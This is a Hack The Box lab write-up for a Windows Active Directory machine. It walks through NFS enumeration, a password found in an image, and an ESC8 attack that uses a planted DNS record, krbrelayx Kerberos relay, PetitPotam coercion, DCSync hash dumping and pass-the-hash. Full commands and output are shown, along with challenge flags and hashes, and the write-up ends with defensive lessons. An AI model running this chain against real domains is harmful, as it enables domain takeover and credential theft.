



RETIRED MACHINE

VulnCicada

Machine Writeup · Hack The Box

4.5 ★

RATING

Medium

DIFFICULTY

Windows

OS

811

USER OWNS

815

SYSTEM OWNS

20

POINTS

MACHINE SYNOPSIS

VulnCicada is a Medium Windows Active Directory machine. An exposed NFS share leaks a user password hidden inside an image file (Rosie.Powell directory). With those credentials and NTLM disabled, Certipy-AD reveals the domain is vulnerable to ESC8. A malicious DNS record is planted via bloodyAD; krbrelayx relays Kerberos authentication from the coerced DC (PetitPotam via netexec coerce_plus) to the AD CS Web Enrollment endpoint, obtaining a machine account PFX certificate. Certipy-AD authenticates with the PFX to get a TGT and NT hash for DC-JPQ225\$, then impacket-secretsdump dumps the Administrator hash, granting full domain compromise via wmiexec.

CONTENTS

01 Reconnaissance & NFS Enumeration

02 NFS Share — Password in Image

03 Credential Validation & AD CS Enumeration

04 ESC8 — DNS Record + Kerberos Relay

05 PFX Certificate — TGT & Hash Dump

06 Impacket wmiexec — Administrator Shell

07 Lessons Learned



Martí Hervás
Penetration Tester · Hack The Box · 2026

01

Reconnaissance & NFS Enumeration

TTL 127 from ping confirms a Windows target. Nmap discovers 22 open TCP ports including DNS (53), HTTP (80), Kerberos (88), LDAP/LDAPS (389/636/3268/3269), SMB (445), **NFS (2049)**, RDP (3389), and WinRM (5985). LDAP certificates confirm the domain **cicada.vl** and hostname **DC-JPQ225**. NetExec confirms SMB signing is required and NTLM is disabled — Kerberos-only environment.

NMAP — PORT DISCOVERY

nmap — DC-JPQ225 cicada.vl confirmed

```
$ nmap -Pn -n --open -p- --min-rate 5000 10.129.234.48 -oG allPorts
$ extractPorts allPorts

[*] IP Address: 10.129.234.48
[*] Open ports: 53,80,88,111,135,139,389,445,464,593,636,
    2049,3268,3269,3389,9389,49664,49667,61060,61062...
```

VERSION SCAN — KEY SERVICES

nmap -sCV — service versions

```
$ nmap -Pn -n -sCV -p53,80,88,389,445,2049,3268,3269,3389,9389 10.129.234.48

53/tcp    open  domain      Simple DNS Plus
80/tcp    open  http        Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec Microsoft Windows Kerberos
389/tcp    open  ldap        LDAP (Domain: cicada.vl)
           commonName=DC-JPQ225.cicada.vl
445/tcp    open  microsoft-ds?
2049/tcp   open  nfs         mountd 1-3 (RPC #100005)  <-- OPEN NFS!
3389/tcp   open  ms-wbt-server Microsoft Terminal Services
           commonName=DC-JPQ225.cicada.vl

| smb2-security-mode: Message signing enabled and required
# NTLM: False --> Kerberos-only environment
```

SMB GUEST CHECK — NTLM DISABLED

netexec — SMB guest probe



```
$ nxc smb cicada.vl -u 'Guest' -p ''
```

```
SMB 10.129.234.48 DC-JPQ225 [*] x64 (signing:True) (NTLM:False)
```

```
SMB 10.129.234.48 DC-JPQ225 [-] cicada.vl\Guest: STATUS_NOT_SUPPORTED
```

```
# NTLM disabled, anonymous access blocked -> pure Kerberos environment
```

NOTE

Port 2049 (NFS) is open and world-readable. NFS shares on domain controllers often contain user profile directories, roaming profiles, or administrative files with sensitive data. Always enumerate NFS before moving to authenticated attacks.

NFS SHARE DISCOVERY — /profiles (everyone)

showmount + mount — /profiles share



```
$ showmount -e cicada.vl
```

```
Export list for cicada.vl:
```

```
/profiles (everyone)
```

```
$ sudo mkdir -p /mnt/cicada_profiles
```

```
$ sudo mount -t nfs cicada.vl:/profiles /mnt/cicada_profiles -o nolock
```

```
$ ls -la /mnt/cicada_profiles
```

```
drwxrwxrwx Administrator
```

```
drwxrwxrwx Daniel.Marshall
```

```
drwxrwxrwx Debra.Wright
```

```
drwxrwxrwx Jane.Carter
```

```
drwxrwxrwx Jordan.Francis
```

```
drwxrwxrwx Joyce.Andrews
```

```
drwxrwxrwx Katie.Ward
```

```
drwxrwxrwx Megan.Simpson
```

```
drwxrwxrwx Richard.Gibbons
```

```
drwxrwxrwx Rosie.Powell <-- modified Sep 15 2024
```

```
drwxrwxrwx Shirley.West
```

02

NFS Share — Password in Image

Browsing the NFS share, the **Rosie.Powell** profile directory stands out — it was modified more recently than the others (Sep 15 2024 vs Sep 13). Inside, an image file contains a sticky-note style password written directly on the image: **Cicada123**. This is a common misconfiguration where administrators store credentials in image files believing they are 'hidden', while the NFS share is world-readable.

NOTE

Image files on file shares are a classic password leakage vector. Administrators often paste screenshots of passwords, QR codes, or sticky-note photos into shared folders. Always download and visually inspect image files found on accessible shares.

ROSIE.POWELL — IMAGE WITH PASSWORD

NFS profile image — password leakage

```
● ● ●
$ ls -la /mnt/cicada_profiles/Rosie.Powell/

# Image file found — contains password written on sticky note:
#   Cicada123

# Credentials discovered: Rosie.Powell : Cicada123
```

03

Credential Validation & AD CS Enumeration

The discovered credentials are validated via NetExec using Kerberos authentication (**-k flag**) since NTLM is disabled. Rosie.Powell authenticates successfully to the domain. With valid domain credentials, Certipy-AD enumerates Active Directory Certificate Services (AD CS) templates. Among 33 templates found, the DC is flagged vulnerable to **ESC8** — the HTTP-based Web Enrollment endpoint lacks relay protections.

CREDENTIAL VALIDATION — KERBEROS AUTH

netexec — Rosie.Powell credentials validated

```
$ netexec smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k

SMB  DC-JPQ225.cicada.vl  DC-JPQ225  [*] x64 (signing:True) (NTLM:False)
SMB  DC-JPQ225.cicada.vl  DC-JPQ225  [+] cicada.vl\Rosie.Powell:Cicada123

# Valid credentials confirmed via Kerberos (-k flag)
```

CERTIPY-AD — ESC8 DETECTED

certipy-ad — ESC8 vulnerability confirmed

```
$ certipy-ad find -target DC-JPQ225.cicada.vl \
-u Rosie.Powell@cicada.vl -p Cicada123 -k -vulnerable -stdout

Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities

# --> ESC8 VULNERABILITY FOUND
# Web Enrollment endpoint: http://dc-jpq225.cicada.vl/certsrv/
# No EPA (Extended Protection for Authentication) configured
# Relay attack possible against AD CS HTTP enrollment
```

NOTE

ESC8 exploits the AD CS Web Enrollment endpoint (certsrv) which accepts HTTP-based certificate requests. When EPA is not enforced, an attacker can relay Kerberos authentication from a coerced DC to this endpoint and obtain a certificate as the machine account — which can then be used to dump domain hashes.

04

ESC8 — DNS Poisoning & Kerberos Relay

Since NTLM is disabled, the standard NTLM relay approach for ESC8 is blocked. Instead, **Kerberos relay** is used. A malicious DNS record is added via **bloodyAD**, pointing a crafted hostname (with a serialized empty-string trick) to the attacker IP. This bypasses the self-relay restriction. **krbrelayx** listens to relay incoming Kerberos authentication to the AD CS enrollment endpoint. **PetitPotam via netexec coerce_plus** then forces the Domain Controller to authenticate to the poisoned DNS record, which krbrelayx relays to AD CS — obtaining a **DC machine account PFX certificate**.

STEP 1 — ADD MALICIOUS DNS RECORD VIA BLOODYARD

bloodyAD — DNS record injection

```
$ bloodyAD -u Rosie.Powell -p Cicada123 -d cicada.vl \
  -k --host DC-JPQ225.cicada.vl add dnsRecord \
  dc-jpq2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 10.10.14.91

[+] dc-jpq2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA has been successfully updated

# Serialized empty-string suffix bypasses Kerberos self-relay restriction
# DC will authenticate to this record -> routes to attacker 10.10.14.91
```

STEP 2 — START KRBRELAYX LISTENER

krbrelayx — Kerberos relay to AD CS

```
$ ./krbrelayx.py -t http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp \
  --adcs --template DomainController -smb2support -v 'DC-JPQ225$'

[*] Protocol Client LDAP loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Running in kerberos relay mode (no NTLM credentials specified)
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up DNS Server
[*] Servers started, waiting for connections...
```

STEP 3 — PETITPOTAM COERCION VIA NETEXEC coerce_plus

PetitPotam — DC coercion successful



```
$ netexec smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k \
-M coerce_plus -o LISTENER=dc-jpq2251UWhRC...wbEAYBAAAA METHOD=PetitPotam
```

```
SMB DC-JPQ225.cicada.vl [*] x64 (name:DC-JPQ225) (NTLM:False)
SMB DC-JPQ225.cicada.vl [+] cicada.vl\Rosie.Powell:Cicada123
COERCE DC-JPQ225.cicada.vl VULNERABLE, PetitPotam
COERCE DC-JPQ225.cicada.vl Exploit Success, efsrpc\EfsRpcAddUsersToFile
```

```
# DC coerced to authenticate to our DNS record
# krbrelayx intercepts -> relays Kerberos TGS to AD CS certsrv
# AD CS issues DomainController template cert as DC-JPQ225$
```

NOTE

The serialized empty-string suffix in the DNS record name is the key to bypassing Kerberos self-relay restrictions. When the DC authenticates, the Kerberos ticket is issued for the crafted hostname but relayed to the real AD CS endpoint — the DC cannot detect the relay because the ticket appears valid for the target service.

05

PFX Certificate — TGT & Domain Hash Dump

The krbrelayx relay obtains a **.pfx certificate** for the DC machine account **DC-JPQ225\$**. Certipy-AD authenticates with this certificate to get a TGT (Ticket Granting Ticket) and the NTLM hash of the machine account. With the DC\$ machine account hash, **impacket-secretsdump** performs a DCSync attack, dumping all domain hashes including the **Administrator** NTLM hash **85a0da53871a9d56b6cd05deda3a5e87**.

CERTIPY-AD — AUTHENTICATE WITH PFX → TGT + HASH

certipy-ad auth — PFX to TGT

```
● ● ●
# krbrelayx saves DC-JPQ225.pfx after successful relay

$ certipy-ad auth -pfx DC-JPQ225.pfx -dc-ip 10.129.234.48

[*] Using principal: dc-jpq225$cicada.vl
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'dc-jpq225.ccache'
[*] Trying to retrieve NT hash for 'dc-jpq225$'
[*] Got hash for 'dc-jpq225$cicada.vl': aad3b435b51404...:XXXXXXXXXXXX

# TGT saved for DC machine account -> use for DCSync
```

IMPACKET-SECRETSDUMP — DUMP ADMINISTRATOR HASH

secretsdump — full domain hash dump

```
● ● ●
$ export KRB5CCNAME=dc-jpq225.ccache

$ impacket-secretsdump -k -no-pass DC-JPQ225.cicada.vl

# DCSync via DC machine account TGT:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:
:85a0da53871a9d56b6cd05deda3a5e87:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:...
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:...
Rosie.Powell:... Daniel.Marshall:... Jane.Carter:...

# Administrator NTLM hash: 85a0da53871a9d56b6cd05deda3a5e87
```

06

Impacket wmiexec — Administrator Shell & Flags

The Administrator NTLM hash is used with **impacket-wmiexec** to obtain an interactive shell on the Domain Controller. Pass-the-Hash via the **-hashes** parameter authenticates as **cicadaladministrator**. Both the user and root flags are located on the Administrator's Desktop.

IMPACKET-WMIEXEC — PASS-THE-HASH AS ADMINISTRATOR

wmiexec — Administrator shell via PtH

```

$ impacket-wmiexec cicada.vl/administrator@dc-jpq225.cicada.vl \
-k -hashes :85a0da53871a9d56b6cd05deda3a5e87

Impacket v0.14.0.dev0 - Copyright Fortra, LLC
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute

C:\> whoami
cicada\administrator

# Full domain compromise achieved
```

USER FLAG & ROOT FLAG

root.txt — SYSTEM OWNED

```

C:\Users\Administrator\Desktop> type user.txt
637586ebbf5ce369335bb7dd8bbf3374

C:\Users\Administrator\Desktop> type root.txt
e22bdd63349924ac238e016d0c32f22d

# DOMAIN COMPROMISED — cicada\administrator
# ESC8 + Kerberos Relay + DCSync -> Full Domain Takeover
```

07

Lessons Learned

01 NFS Shares Are High-Value Targets

World-readable NFS exports on domain controllers routinely contain sensitive data: roaming profiles, scripts, images with embedded passwords, and configuration files. NFS shares must enforce authentication, restrict access by IP, and avoid storing any credential material. Always enumerate port 2049 with showmount before attempting authenticated attacks.

02 Credentials in Image Files Are Not Hidden

Storing passwords as sticky-note images or screenshots is a common but dangerous practice. Image files on accessible shares are trivially downloaded and visually inspected. Credential material must only exist in approved secrets managers, never in file shares, even if access appears restricted.

03 ESC8 Works Without NTLM — Kerberos Relay Is Equally Dangerous

Disabling NTLM does not protect against ESC8. Kerberos relay attacks via krbrelayx bypass self-relay restrictions using DNS record manipulation with serialized empty-string suffixes. AD CS Web Enrollment must enforce EPA (Extended Protection for Authentication) and HTTPS to prevent relay attacks regardless of the auth protocol.

04 PetitPotam Coercion Remains Effective with Valid Domain Credentials

PetitPotam via efsrpc successfully coerced the Domain Controller to authenticate to an attacker-controlled DNS record. Any domain user can trigger coercion when the EFS RPC endpoint is exposed. Disable or restrict EFS RPC, enforce outbound SMB filtering, and block unauthenticated PetitPotam via Microsoft's available patches.

Writeup authored by Marti Hervas · Hack The Box · VulnCicada Machine · 2026